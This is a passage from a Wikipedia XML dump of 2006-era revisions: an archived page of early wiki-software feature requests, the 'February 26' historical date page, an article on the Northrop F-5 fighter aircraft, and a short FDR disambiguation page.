      <contributor>
        <username>Texture</username>
        <id>31280</id>
      </contributor>
      <minor />
      <comment>User:Hornlo</comment>
      <text xml:space="preserve">'''This page is obsolete!'''
It is an archive of old feature requests that were still active on 2002 July 20, when we moved from Phase II to Phase III of the software.
Many requests were implemented then, while others became obsolete due to being rejected by the community.
'''See [[Wikipedia:Feature requests]] for current requests.'''
----

Should this be called Wiki code?

* HTML comments in Wiki pages. I'd like to be able to add comments to a page for authors and editors that are permanent, not like discussions on a Talk page. Things like &quot;Note the layout of this table; if you want to add an item, do it this way...&quot; or &quot;Someone included this example here, but I think it's better on this other page, so I moved it there&quot;, and so on.
** Why permanent? What would be the point of that?
*** I mean &quot;permanent&quot; only in the sense of &quot;saved with the rest of the text&quot;--of course, it's just as editable as the rest of the text as well.
**Yes please! This is something that I've been wanting several times. --[[User:Pinkunicorn|Pinkunicorn]], [[User:Lee Daniel Crocker]]

* Anchors and internal links &lt;code&gt;[[like#this]]&lt;/code&gt;.
** Anchors within a single page would be great, but inter-page anchors are probably not a good idea. One possible implementation could be: &lt;code&gt;[#foo] ... [$foo]&lt;/code&gt;, where the hash is the reference and the dollar is the target. I'd really like to have that on the [[Wikipedia FAQ]] page.
**Redirects to anchors would be wonderful!  For example, there was disagreement on whether there should be a separate [[Anarchist]] page or whether it should redirect to [[Anarchism]].  Instead, we could redirect to &lt;code&gt;[[Anarchism#Anarchists]]&lt;/code&gt;.  The reader gets the proper information and full context, and the writers don't have to summarize [[Anarchism]] and [[Anarchist]] in each other for context.
** I second the request for anchors. Why not use the power of the medium some more, eh?--branko
** Ewww - do we have to use # for anchors?  I would use it to begin lines for comments.

* InsertPagesIntoOtherPages
** Not likely to happen soon. Opens too many new issues for minimal gain. --CliffordAdams
** The KeheiWiki has an include functionality. If you ever wish to explore this let me know and I can give pointers. -- BryceHarrington
** I'm quite interested in having templates. -- TheCunctator 

* Currently ISBNs appear in a page as: &lt;nowiki&gt;&quot;ISBN 123456789X (Amazon, Pricescan)&quot;&lt;/nowiki&gt; and this is hard-coded into the wiki.pl script. The link to Barnes and Noble is not explicit in the displayed text. I'd like to see this changed as follows (not just for Wikipedia, but for vanilla UseMod as well):

:An ISBN link on a page simply appears as: &lt;nowiki&gt;&quot;ISBN 123456789X&quot;&lt;/nowiki&gt;, and links to an external script, for example:

:href=/cgi-bin/isbn.pl?123456789X

:The isbn.pl script could present a standard page that looks roughly like this, where the vendor name itself links to the book's page on the vendor site:

:Some standard copy here, blah blah ....

:Amazon - blah blah ....

:Barnes and Noble - blah blah ....

:Pricescan - blah blah ...

:With the ISBN code decoupled from the main script, it's easier for a site to implement their own policy regarding book linkages without messing with the vanilla wiki script. UseModWiki upgrades would no longer impact vendor selection. Unlike the current version, all links are explicit and there is room to explain why those vendors were chosen (or why some were left out), and room for a brief description of the vendor. --[[User:Hornlo]]

* Misspelling redirects. It's useful for searchers and browsers to have misspelled entries which just redirect to the correct spelling, but we want to discourage misspellings in the actual entries, which simply using #REDIRECT doesn't do. Thus the nomenclature: &lt;nowiki&gt;#MISSPELLING_OF [[Correct spelling]]&lt;/nowiki&gt; would allow us to mark any pages which link to a misspelling, and correct them. See also [[talk:Page titles to be deleted]]

Seconded! This would be a great feature to have. Common misspellings ought to be redirected to their correct entry, but I have severe doubts about whether it's a good idea to make redirects for them... ~[[user:Karen Johnson|KJ]] Mon 13 May 2002

:''See also :'' [[Wikipedia:Phase II feature requests]]</text>
    </revision>
  </page>
  <page>
    <title>February 26</title>
    <id>11141</id>
    <revision>
      <id>42109615</id>
      <timestamp>2006-03-03T22:04:38Z</timestamp>
      <contributor>
        <ip>130.91.204.179</ip>
      </contributor>
      <comment>/* Events */</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{FebruaryCalendar}}
|-
|{{ThisDateInRecentYears|Month=February|Day=26}}
|}
'''February 26''' is the 57th day of the year in the [[Gregorian Calendar]]. There are 308 days remaining, 309 in [[leap year]]s.
==Events==
*[[740s BC|747 BC]] - [[Epoch (reference date)|Epoch]] (origin) of [[Ptolemy]]'s [[Nabonassar]] Era.
*[[364]] - [[Valentinian I]] is proclaimed [[Roman Emperor]].
*[[1266]] - [[Battle of Benevento]]: An army led by [[Charles I of Sicily|Charles]], [[Count]] of [[Anjou]], defeats a combined [[Germany|German]] and [[Sicily|Sicilian]] force led by [[King]] [[Manfred of Sicily]]. [[Manfred]] is killed in the battle and [[Pope Clement IV]] invests [[Charles]] as [[king]] of [[Sicily]] and [[Naples]].
*[[1794]] - [[Christiansborg Castle]], [[Copenhagen]] burns down.
*[[1797]] - The [[Bank of England]] issues the first one-pound note.
*[[1815]] - [[Napoleon I of France|Napoleon Bonaparte]] escapes from [[Elba]].
*[[1848]] - The second [[French Republic]] is proclaimed.
*[[1863]] - [[U.S. President]] [[Abraham Lincoln]] signs the [[National Currency Act]] into law.  
*[[1870]] - In [[New York City]], the first [[pneumatics|pneumatic]]-[[metro|subway]] opens.
*[[1887]] - At the [[Sydney Cricket Ground|SCG]], [[George Lohmann]] becomes the first [[bowler (cricket)|bowler]] to take eight wickets in a [[Test cricket|Test]] innings.
*[[1919]] - An act of the [[Congress of the United States|U.S. Congress]] establishes most of the [[Grand Canyon]] as a [[United States National Park]] (see [[Grand Canyon National Park]]).   
*[[1929]] - The [[Grand Teton National Park]] is created.   
*[[1935]] - The [[Luftwaffe]] is reformed.
*1935 - [[Robert Watson-Watt]] carried out a demonstration which led directly to the development of [[radar|RADAR]] in [[Britain]].
*[[1936]] - In the [[February 26 Incident]], young [[Japan]]ese military officers attempt to stage a [[coup]] against the [[government]].
*[[1944]] - Shooting begins of the [[Nazi]] propaganda film, &quot;[[The Fuhrer Gives a Village to the Jews]]&quot; in [[Concentration camp Theresienstadt|Theresienstadt]].
*[[1952]] - [[United Kingdom]] [[Prime Minister]] [[Winston Churchill]] announces that his nation has an [[atomic bomb]].
*[[1966]] - [[Apollo Program]]: Launch of [[AS-201]], the first flight of the [[Saturn IB]] rocket
*[[1970]] - [[National Public Radio]] incorporates as a [[non-profit organization|non-profit corporation]].
*[[1971]] - [[Secretary-General]] [[U Thant]] signs [[United Nations]] proclamation of the vernal equinox as [[Earth Day]].
*[[1972]] - [[Buffalo Creek Flood]] caused by a burst dam kills 125 in [[West Virginia]].
*[[1986]] - [[Robert Penn Warren]] is named ''[[poet laureate]]'' of the [[United States]].
*[[1987]] - [[Iran-Contra affair]]: The [[Tower Commission]] rebukes [[United States|American]] [[President]] [[Ronald Reagan]] for not controlling his national security staff.  
*[[1990]] - The [[Sandinista]]s are defeated in [[Nicaragua]]n elections.
*[[1991]] - [[Tim Berners-Lee]] introduces [[WorldWideWeb]], the first [[web browser]].
*1991 - [[Gulf War]]: On [[Baghdad]] Radio [[Iraq]]i leader [[Saddam Hussein]] announces the withdrawal of [[Iraqi]] troops from [[Kuwait]].
*[[1993]] - [[World Trade Center bombing]]: In [[New York City]], a truck bomb parked below the [[North Tower]] of the [[World Trade Center]] goes off, killing 6 and injuring over a thousand.  The buildings would be destroyed in a [[September 11, 2001, terrorist attacks|subsequent attack on September 11, 2001]].
*[[1995]] - The [[United Kingdom]]'s oldest investment banking firm, [[Barings Bank]] collapses after a securities broker, [[Nick Leeson]], loses $1.4 billion by speculating on the [[Singapore International Monetary Exchange]] using [[futures contract]]s.
*[[2001]] - The [[Taliban]] destroy two giant [[Buddhas of Bamiyan|Buddha statues]] in [[Bamiyan]], [[Afghanistan]].
*[[2004]] - The [[United States]] lifts a ban on travel to [[Libya]], ending travel restrictions to the nation that had lasted for 23 years.
*2004 - [[Republic of Macedonia|Macedonian]] [[President]] [[Boris Trajkovski]] is killed in a plane crash near [[Mostar]], [[Bosnia and Herzegovina]].
*[[2005]] - [[Hosni Mubarak]] the president of [[Egypt]] orders the [[constitution]] changed to allow multi-candidate [[presidential elections]] before [[September]] [[2005]] by asking [[Egyptian]] [[parliament]] to amend [[Article 76]] of the [[constitution]].
* [[2006]] - The [[2006 Olympic Winter Games]] offically closed in [[Turin]], [[Italy]].

==Births==
*[[1361]] - [[Wenceslaus, Holy Roman Emperor]], King of Bohemia (d. [[1419]])
*[[1564]] - [[Christopher Marlowe]], English dramatist (d. [[1593]])
*[[1587]] - [[Stefano Landi]], Italian composer (d. [[1639]])
*[[1671]] - [[Anthony Ashley-Cooper, 3rd Earl of Shaftesbury]], English politician and philosopher (d. [[1713]])
*[[1672]] - [[Antoine Augustine Calmet]], French theologian (d. [[1757]])
*[[1714]] - [[James Hervey]], English clergyman and writer (d. [[1758]])
*[[1715]] - [[Claude Adrien Helvétius]], French philosopher (d. [[1771]])
*[[1720]] - [[Gian Francesco Albani]], Italian Catholic cardinal (d. [[1803]])
*[[1786]] - [[François Arago]], French mathematician (d. [[1853]])
*[[1799]] - [[Émile Clapeyron]], French engineer and physicist (d. [[1864]])
*[[1802]] - [[Victor Hugo]], French writer (d. [[1885]])
*[[1808]] - [[Honoré Daumier]], French painter, illustrator, and sculptor (d. [[1879]])
*[[1814]] - [[Charles Joseph Sainte-Claire Deville]], French geologist (d. [[1876]])
*[[1829]] - [[Levi Strauss]], German-born clothing designer (d. [[1902]])
*[[1846]] - [[Buffalo Bill]], American pioneer, officer, and hunter (d. [[1917]])
*[[1857]] - [[Émile Coué]], French psychologist (d. [[1926]])
*[[1861]] - King [[Ferdinand of Bulgaria]] (d. [[1948]])
*1861 - [[Nadezhda Konstantinovna Krupskaya]], Russian revolutioner, [[Lenin]]'s wife (d. [[1939]])
*[[1879]] - [[Frank Bridge]], English composer (d. [[1941]])
*[[1882]] - [[Husband E. Kimmel]], American admiral (d. [[1968]])
*[[1885]] - [[Aleksandras Stulginskis]], [[President of Lithuania]] (d. [[1969]]) 
*[[1887]] - [[Grover Cleveland Alexander]], baseball player (d. [[1950]])
*1887 - [[William Frawley]], American actor (d. [[1966]])
*[[1893]] - [[I. A. Richards]], English literary critic (d. [[1979]])
*[[1902]] - [[Albert Anastasia]], Italian-born gangster (d. [[1957]])
*[[1903]] - [[Giulio Natta]], Italian chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (d. [[1979]])
*[[1907]] - [[Dub Taylor]], American actor (d. [[1994]])
*[[1908]] - [[Tex Avery]], American cartoonist (d. [[1980]])
*1908 - [[Jean-Pierre Wimille]], French race car driver (d. [[1949]])
*[[1909]] - King [[Talal of Jordan]] (d. [[1972]])
*[[1914]] - [[Robert Alda]], American actor (d. [[1986]])
*[[1916]] - [[Jackie Gleason]], American actor, writer, composer, and comedian (d. [[1987]])
*[[1918]] - [[Theodore Sturgeon]], American writer (d. [[1985]])
*[[1919]] - [[Mason Adams]], American actor (d. [[2005]])
*1919 - [[Rie Mastenbroek]], Dutch swimmer (d. [[2003]])
*[[1920]] - [[Tony Randall]], American actor (d. [[2004]])
*[[1921]] - [[Betty Hutton]], American actress
*[[1927]] - [[Tom Kennedy]], American game show host
*[[1928]] - [[Fats Domino]], American musician
*1928 - [[Anatoli Filipchenko]], cosmonaut
*1928 - [[Ariel Sharon]], [[Prime Minister of Israel]]
*[[1930]] - [[Lazar Berman]], Russian pianist (d. [[2005]])
*[[1932]] - [[Johnny Cash]], American singer (d. [[2003]])
*[[1934]] - [[Robert Novak]], American political columnist
*[[1941]] - [[Tony Ray-Jones]], British photographer (d. [[1972]])
*[[1943]] - [[Bill Duke]], American actor and director
*[[1945]] - [[Marta Kristen]], Norwegian actress
*[[1946]] - [[Ahmed H. Zewail]], Egyptian chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate
*[[1947]] - [[Sandie Shaw]], British singer
*[[1950]] - [[Helen Clark]], [[Prime Minister of New Zealand]]
*[[1951]] - [[Lee Atwater]], American political operative (d. [[1991]])
*[[1953]] - [[Michael Bolton]], American singer
*[[1954]] - [[Recep Tayyip Erdoğan]], [[Prime Minister of Turkey]]
*[[1956]] - [[Keisuke Kuwata]], Japanese singer
*1956 - [[Michel Houellebecq]], French novelist
*[[1957]] - [[Joe Mullen]], American [[ice hockey]] player
*[[1959]] - [[Rolando Blackman]], Panamanian basketball player
*[[1962]] - [[Greg Germann]], American actor
*[[1971]] - [[Erykah Badu]], American singer
*[[1973]] - [[Marshall Faulk]], American football star
*1973 - [[Jenny Thompson]], American swimmer
*1973 - [[Ole Gunnar Solskjaer]], Norwegian footballer
*[[1974]] - [[Sébastien Loeb]], French race car driver
*[[1984]] - [[Natalia Lafourcade]], Mexican singer
*[[1993]] - [[Taylor Dooley]], American actress
&lt;!-- Do not add yourself, or anyone else who does not already have a Wikipedia article, to this list. Duplicate instances of years should not be links. --&gt;

==Deaths==
*[[1154]] - King [[Roger II of Sicily]] (b. [[1093]])
*[[1266]] - King [[Manfred of Sicily]]
*[[1360]] - [[Roger de Mortimer, 2nd Earl of March]], English military leader (b. [[1328]])
*[[1525]] - [[Cuauhtémoc]], Aztec ruler
*[[1552]] - [[Heinrich Faber]], German composer
*[[1561]] - [[Jorge de Montemayor]], Spanish writer
*[[1577]] - King [[Eric XIV of Sweden]] (b. [[1533]])
*[[1608]] - [[John Still]], English bishop
*[[1630]] - [[William Brade]], English composer (b. [[1560]])
*[[1638]] - [[Claude Gaspard Bachet de Méziriac]], French mathematician (b. [[1681]])
*[[1723]] - [[Thomas d'Urfey]], English writer (b. [[1653]])
*[[1726]] - [[Maximilian II Emanuel, Elector of Bavaria]] (b. [[1662]])
*[[1770]] - [[Giuseppe Tartini]], Italian composer (b. [[1692]])
*[[1802]] - [[Esek Hopkins]], American Revolutionary War admiral (b. [[1718]])
*[[1813]] - [[Robert Livingston (1746-1813)|Robert Livingston]], American signer of the Declaration of Independence (b. [[1746]])
*[[1815]] - [[Prince Josias of Coburg]], Austrian general (b. [[1737]])
*[[1903]] - [[Richard Jordan Gatling]], American inventor (b. [[1818]])
*[[1913]] - [[Felix Draeseke]], German composer (b. [[1835]])
*[[1921]] - [[Carl Menger]], Austrian economist (b. [[1840]])
*[[1931]] - [[Otto Wallach]], German chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (b. [[1847]])
*[[1961]] - King [[Mohammed V of Morocco]] (b. [[1909]])
*[[1966]] - [[Vinayak Damodar Savarkar]], Indian freedom fighter and writer (b. [[1883]])
*[[1969]] - [[Levi Eshkol]], [[Prime Minister of Israel]] (b. [[1895]])
*1969 - [[Karl Jaspers]], German psychiatrist (b. [[1883]])
*[[1971]] - [[Fernandel]], French actor (b. [[1903]])
*[[1981]] - [[Howard Hanson]], American composer (b. [[1896]])
*[[1985]] - [[Tjalling Koopmans]], Dutch economist, [[Nobel Prize in Economics|Bank of Sweden Prize]] winner (b. [[1910]])
*[[1993]] - [[Constance Ford]], American actress (b. [[1923]])
*[[1994]] - [[Bill Hicks]], American comedian (b. [[1961]])
*[[1995]] - [[Jack Clayton]], British film director (b.[[1921]])
*[[1997]] - [[David Doyle]], American actor (b. [[1929]])
*[[1998]] - [[Theodore Schultz]], American economist, [[Nobel Prize in Economics|Nobel Prize]] laureate (b. [[1902]])
*[[2002]] - [[Lawrence Tierney]], American actor (b. [[1919]])
*[[2004]] - [[Shankarrao Chavan]], Indian politician (b. [[1920]])
*2004 - [[Adolf Ehrnrooth]], Finnish general (b. [[1905]])
*2004 - [[Boris Trajkovski]], [[President of the Republic of Macedonia]] (b. [[1956]])
*[[2005]] - [[Jef Raskin]], American computer scientist (b. [[1943]])
&lt;!-- Duplicate instances of years should not be links. --&gt;

==Holidays and observances==
*[[Bahá'í Faith]] - [[February 26]], [[Day 1]] of [[Ayyám-i-Há]] ([[Intercalary Days]]) - days in the [[Bahá'í]] calendar devoted to service and gift giving. 
*[[Nation of Islam]] - [[Savior's Day]] - commemoration of the birthdate of [[Wallace Fard Muhammad]], believed to be [[Allah]] in human form, the saviour of the [[Black (people)|black race]].
*[[Liberation Day]] in [[Kuwait]] ([[1991]]).

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/february/26 BBC: On This Day]
* [http://www.nytimes.com/learning/general/onthisday/20060226.html ''The New York Times'': On This Day]
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Feb&amp;day=26 On This Day in Canada]


----

[[February 25]] - [[February 27]] - [[January 26]] - [[March 26]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:26 Februarie]]
[[ar:26 فبراير]]
[[an:26 de frebero]]
[[ast:26 de febreru]]
[[bg:26 февруари]]
[[be:26 лютага]]
[[bs:26. februar]]
[[ca:26 de febrer]]
[[ceb:Pebrero 26]]
[[cv:Нарăс, 26]]
[[co:26 di frivaghju]]
[[cs:26. únor]]
[[cy:26 Chwefror]]
[[da:26. februar]]
[[de:26. Februar]]
[[et:26. veebruar]]
[[el:26 Φεβρουαρίου]]
[[es:26 de febrero]]
[[eo:26-a de februaro]]
[[eu:Otsailaren 26]]
[[fo:26. februar]]
[[fr:26 février]]
[[fy:26 febrewaris]]
[[ga:26 Feabhra]]
[[gl:26 de febreiro]]
[[ko:2월 26일]]
[[hr:26. veljače]]
[[io:26 di februaro]]
[[id:26 Februari]]
[[ia:26 de februario]]
[[is:26. febrúar]]
[[it:26 febbraio]]
[[he:26 בפברואר]]
[[jv:26 Februari]]
[[ka:26 თებერვალი]]
[[csb:26 gromicznika]]
[[ku:26'ê reşemiyê]]
[[lt:Vasario 26]]
[[lb:26. Februar]]
[[hu:Február 26]]
[[mk:26 февруари]]
[[ms:26 Februari]]
[[nap:26 'e frevaro]]
[[nl:26 februari]]
[[ja:2月26日]]
[[no:26. februar]]
[[nn:26. februar]]
[[oc:26 de febrièr]]
[[os:26 февралы]]
[[pl:26 lutego]]
[[pt:26 de Fevereiro]]
[[ro:26 februarie]]
[[ru:26 февраля]]
[[se:Guovvamánu 26.]]
[[sco:26 Februar]]
[[sq:26 Shkurt]]
[[scn:26 di frivaru]]
[[simple:February 26]]
[[sk:26. február]]
[[sl:26. februar]]
[[sr:26. фебруар]]
[[fi:26. helmikuuta]]
[[sv:26 februari]]
[[tl:Pebrero 26]]
[[tt:26. Febräl]]
[[te:ఫిబ్రవరి 26]]
[[th:26 กุมภาพันธ์]]
[[vi:26 tháng 2]]
[[tr:26 Şubat]]
[[uk:26 лютого]]
[[wa:26 di fevrî]]
[[war:Pebrero 26]]
[[zh:2月26日]]
[[pam:Pebreru 26]]</text>
    </revision>
  </page>
  <page>
    <title>F-5 Freedom Fighter</title>
    <id>11142</id>
    <revision>
      <id>41993662</id>
      <timestamp>2006-03-03T02:29:49Z</timestamp>
      <contributor>
        <username>Gooberliberation</username>
        <id>324413</id>
      </contributor>
      <text xml:space="preserve">{| border=&quot;1&quot; width=&quot;310&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot;
! colspan=&quot;3&quot; bgcolor=&quot;skyblue&quot; | F-5 Freedom Fighter
|-----
|-----
| colspan=&quot;3&quot; align=&quot;center&quot;| [[image:Caf.f5.750pix.jpg|300px]] Canadian Air Force CF-116 Freedom Fighters
|-----
! colspan=&quot;3&quot; bgcolor=&quot;skyblue&quot; | Technical specifications&lt;br&gt;''(for the F-5 Tiger II)''
|-----
! colspan=&quot;3&quot; bgcolor=&quot;skyblue&quot; | Description
|-----
|-----
| Role
| colspan=&quot;2&quot; | Light tactical fighter
|-----
| Crew || colspan=&quot;2&quot; | 1
|-----
! colspan=&quot;3&quot; bgcolor=&quot;skyblue&quot; | Dimensions
|-----
|-----
| Length || 47 ft 4.75 in || 14.45 m
|-----
| Wingspan&lt;br&gt;(without AAMs) || 26 ft 8 in
| 8.13 m
|-----
| Wingspan&lt;br&gt;(with AAMs) || 28 ft || 8.5 3m
|-----
| Height || 13 ft 4.5 in || 4.08 m
|-----
| Wing area || 186 ft&amp;sup2; || 17.28 m&amp;sup2;
|-----
! colspan=&quot;3&quot; bgcolor=&quot;skyblue&quot; | Weights
|-----
|-----
| Empty || 9,558 lb || 4,349 kg
|-----
| Loaded ||  || 
|-----
| Maximum take-off || 24,664 lb || 11,187 kg
|-----
! colspan=&quot;3&quot; bgcolor=&quot;skyblue&quot; | Fuel
|-----
| Internal || 677 US gal || 2,563 L
|-----
| External&lt;br&gt;(up to 3 drop tanks) || 275 US gal per tank
| 1,040 L per tank
|-----
! colspan=&quot;3&quot; bgcolor=&quot;skyblue&quot; | Powerplant
|-----
|-----
| Engines
| colspan=&quot;2&quot; | 2 &amp;times; [[General Electric J85|General Electric J85-GE-21B]]
|-----
| Thrust (dry) || 3,500 lb&lt;sub&gt;f&lt;/sub&gt; || 15.5 kN
|-----
| Thrust (afterburner) || 5,000 lb&lt;sub&gt;f&lt;/sub&gt; || 22.2 kN
|-----
! colspan=&quot;3&quot; bgcolor=&quot;skyblue&quot; | Performance
|-----
|-----
| Maximum speed || 917 knots || 1,700 km/h
|-----
| Combat radius || 760 nautical miles || 1,405 km
|-----
| Ferry range || 2,010 nautical miles || 3,720 km
|-----
| Service ceiling || 51,800 ft || 15,800 m
|-----
| Rate of climb || 34,400 ft/min || 10,500 m/min
|-----
! colspan=&quot;3&quot; bgcolor=&quot;skyblue&quot; | Armament
|-----
|-----
| Guns
| colspan=&quot;2&quot; | 2 x 20 mm Pontiac [[M39 cannon|M39A2]] cannon with 280 rounds per gun
|-----
| Bombs
| colspan=&quot;2&quot; | Up to 7000 lb (3180 kg) mixed&lt;br/&gt;&amp;nbsp;M129 Leaflet&lt;br/&gt;&amp;nbsp;500 lb (225 kg) Mk82&lt;br&gt;&amp;nbsp;2000 lb (900 kg) Mk84&lt;br/&gt;&amp;nbsp;CBU-24/49/52/58 Cluster
|-----
| Missiles
| colspan=&quot;2&quot; | [[AIM-7 Sparrow]]&lt;br&gt;[[AIM-9 Sidewinder]]&lt;br&gt;[[AGM-65 Maverick]]&lt;br&gt; [[AIM-120 AMRAAM]] [[Python-3]] (on Thailand's upgrade F-5T) and [[Python-4]] (on Singapore's upgraded F-5S/T and Thailand's upgrade F-5T)
|}
The [[F-5 Freedom Fighter]] (or '''Tiger II''') is a [[fighter aircraft]], designed and built by [[Northrop]] in the [[United States|USA]], beginning in [[1962]].

Originally designed by [[Northrop]] (designated N-156) as a low-cost, low-maintenance fighter, there was little market for such a craft. The [[U.S. Army]] expressed interest in it for ground support, but operating fixed-wing aircraft was a [[U.S. Air Force]] responsibility and the Air Force would neither agree to operate the N-156 nor to allow the Army to operate fixed-wing combat aircraft. The F-5 proved to be a successful combat aircraft that never entered frontline service with the US due to diverging priorities of the US services.

When the [[Military Assistance Program]] under the Kennedy Administration needed a low cost fighter for distribution to less-developed nations, the '''N-156F''' was at the top of the pile, and subsequently became the '''F-5A'''. The first contract for the production F-5A was issued in [[1962 in aviation|1962]], the first overseas order coming from [[Norway]] in February [[1964 in aviation|1964]]. 636 F-5As were built before production ended in [[1972 in aviation|1972]]. These were accompanied by 200 two-seat '''F-5B''' aircraft. These were operational trainers, lacking the nose-mounted cannon but otherwise combat-capable.

The [[USAF]] made a combat evaluation of the F-5A under the ''Skoshi Tiger'' (little tiger) program in [[1965 in aviation|1965]]. 12 aircraft were delivered for trials to the [[4503rd Tactical Fighter Wing]] (subsequently the [[10th Fighter Commando Squadron]]), redesignated '''F-5C'''. They performed combat duty in [[Vietnam War|Vietnam]], flying more than 3,500 sorties from the [[3rd Tactical Fighter Wing]] at [[Bien Hoa]] in [[South Vietnam]]. Two aircraft were lost in combat. The program was short-lived, more a political gesture than a serious consideration of the type for U.S. service. The 10th FCS's surviving aircraft were subsequently turned over to the air force of South Vietnam. Ironically, when Bien Hoa was later overrun by Communist forces, several of the aircraft were captured and used operationally by the [[North Vietnamese Army|NVAF]], in particular against China.

In [[1970 in aviation|1970]] Northrop won a competition for an improved '''International Fighter Aircraft (IFA)''' to replace the F-5A. The resultant aircraft, initially known as '''F-5A-21''', subsequently became the '''F-5E'''. It was lengthened and enlarged, with increased wing area and more sophisticated [[avionics]], initially with an Emerson AN/APQ-159 [[radar]] (the F-5A and -B had no radar). Various specific avionics fits could be accommodated at customer request. A two-seat combat-capable trainer, the '''F-5F''', was offered. Unlike the gunless F-5B, it retained a single [[M39 cannon]] in the nose, albeit with a reduced ammunition capacity. A [[reconnaissance]] version, the '''RF-5E Tigereye''', with a sensor package in the nose displacing the radar and one cannon, was also offered.

The F-5E eventually received the official popular name '''Tiger II'''. It is sometimes incorrectly thought to be the only aircraft designated as its own replacement; in fact, the previous &quot;Tiger&quot; was the [[F-11 Tiger|Grumman F11F/F-11]]. The [[AV-8 Harrier II | AV-8B Harrier II]], which followed the [[Hawker-Siddeley Harrier|AV-8A/C Harrier]], is the only aircraft to have truly been designated as its own replacement.

Northrop built 792 F-5Es, 140 F-5Fs and 12 RF-5Es. More were built under license overseas: 56 F-5Es and -Fs plus 5 RF-5Es in [[Malaysia]] (they plan to sell them after being upgraded), 90 F-5Es and -Fs in [[Switzerland]] (of which some are currently rented to [[Austria]] to bridge the gap between the retirement of  the [[Saab Draken]] fleet and the delivery of new [[Eurofighter Typhoon|Eurofighter]] jets), 68 in [[South Korea]], and 380 in [[Taiwan]]. 

Various F-5 versions remain in service with many nations. The most advanced are those of [[Singapore]], which has approximately 49 modernised and re-designated '''F-5S''' (single-seaters) and '''F-5T''' (two-seaters) aircraft. Upgrades include new radar, manufactured by [[Israel]], updated cockpits with multi-function displays, and compatibility with the [[Rafael Python]] and [[AIM-120 AMRAAM]] [[air-to-air missile]]s.

Although the United States does not use the F-5 in a frontline role, it was adopted for an opposing-forces (OPFOR) &quot;''aggressor''&quot; training role because of its performance similarities to the [[Soviet Union|Soviet]] [[MiG-21]]. A trainer version, the [[T-38 Talon]], was adopted by the [[U.S. Air Force]] as a pilot's first introduction to [[supersonic]] flight.

The F-5E saw service with the US Air Force from 1975 until 1990, serving in the [[64th Aggressor Squadron]] and [[65th Aggressor Squadron]] at [[Nellis Air Force Base]] in Nevada, and with the 527th Aggressor Squadron at Alconbury RAF Base in the UK and the 26th Aggressor Squadron at Clark AB in the Phillipines.  The Marines purchased ex-USAF models in 1989 to replace their [[F-21]]s.  Serving with VMFT-401 at Yuma MCAS, the F-5 fleet continues to be modernized with F-5N replacements purchased from Switzerland.  The US Navy used the F-5E extensively at The [[Naval Fighter Weapons School]] at[[NAS Miramar]], VF-127, VF-43 and VF-45.  Currently, the only Navy unit flying the F-5 is [[VFC-13]] at Fallon NAS in Nevada.

Northrop attempted to develop an advanced version of the F-5E, originally designated '''F-5G''', as an export competitor for the [[F-16]]. The -5G was later redesignated the [[F-20 Tigershark]]. 

The [[F/A-18_Hornet|F/A-18 Hornet]] was derived from the [[YF-17 Cobra]], which in turn was based in part on the F-5 Tiger II.

==Foreign variations==
[[Iran]] has reverse engineered its F-5 fighters supplied to it before the Iranian Revolution and developed two indigenous fighters: the [[Saeqeh]] Fighter and the [[Azarakhsh]] Fighter.

==Use in fiction==
* [[Apocalypse Now]] features 4-5 aircraft dropping Napalm on a battlefield. These undoubtedly belonged to the [[Phillippine Air Force]], who provided numerous aircraft (including helicopters) for the film. Interestingly, the aircraft are portrayed as American in the film.
* [[Top Gun]] features a number of F-5s as the fictional [[Mikoyan MiG-28 (fictional)|MiG-28]] that battle against US Navy F-14s.
* Shin Kazama of [[Area 88]] acquired an F-5 after his F-8 Crusader was destroyed.
* F-5s are featured in the videogames [[Ace Combat 04]] and [[Ace Combat 5]].

==Operators==
* Austria, Bahrain, Botswana, Brazil, Canada, Chile, Ethiopia, Greece, Honduras, Indonesia, Iran, Jordan, Kenya, Libya, Malaysia, Mexico, Morocco, Netherlands, Norway, Paraguay, Pakistan, Philippines, Saudi Arabia, Singapore, South Korea, South Vietnam, Spain, Switzerland, Taiwan, Thailand, Tunisia, Turkey, United States (Air Force, Navy, Marine Corps), Venezuela, Yemen,

{|align=&quot;left&quot;
|[[Image:F-5 3-view.jpg|thumb|300px|left|3-view drawing]]
|{{Commons|Northrop F-5 Freedom Fighter}}
|}

{| cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; style=&quot;margin:5px auto; clear:both; border:3px solid;width:60%; font-size:small;&quot; align=&quot;center&quot;
!bgcolor=&quot;#e0e0e0&quot; colspan=&quot;2&quot; align=&quot;center&quot; style=&quot;border-bottom:3px solid&quot;|Related content
|-
|'''Related development'''
|align=&quot;center&quot;|
[[T-38 Talon|T-38]] -
[[F-20 Tigershark|F-20]] -
[[Grumman X-29|X-29]] -
[[IAMI Azarakhsh]]
|-
|'''Similar aircraft'''
|align=&quot;center&quot;|
[[Aeritalia G.91]] -
[[Dassault Étendard]]
|-
|'''Designation series'''
|align=&quot;center&quot;|
[[F2H Banshee|F-2]] -
[[F3H Demon|F-3]] -
[[F-4 Phantom II|F-4]] -
'''F-5''' -
[[F4D Skyray|F-6]] -
[[F2Y Sea Dart|F-7]] -
[[F-8 Crusader|F-8]]
|-
|'''Related lists'''
|align=&quot;center&quot;|[[List of military aircraft of the United States]] - [[List of fighter aircraft]]
|-
|}
{{airlistbox}}

[[Category:U.S. fighter aircraft 1950-1959|F-05 Freedom Fighter]]

[[de:Northrop F-5]]
[[fr:Northrop F-5 Freedom Fighter]]
[[ja:F-5 (戦闘機)]]
[[ko:F-5 프리덤 파이터]]
[[nl:F-5 Freedom Fighter]]
[[no:F-5 Freedom Fighter]]
[[pt:Northrop F-5E Tiger II]]
[[sv:Northrop F-5 Freedom Fighter]]</text>
    </revision>
  </page>
  <page>
    <title>FDR (disambiguation)</title>
    <id>11143</id>
    <revision>
      <id>40345592</id>
      <timestamp>2006-02-19T23:26:33Z</timestamp>
      <contributor>
        <ip>130.194.13.106</ip>
      </contributor>
      <text xml:space="preserve">'''FDR''' may refer to:

* '''[[Franklin D. Roosevelt]]''' - The 32nd [[President of the United States|President]] of the [[United States]].
* '''[[Full Depth Recycling]]''' - A process that rebuilds worn out asphalt pavements by recycling the existing roadway.
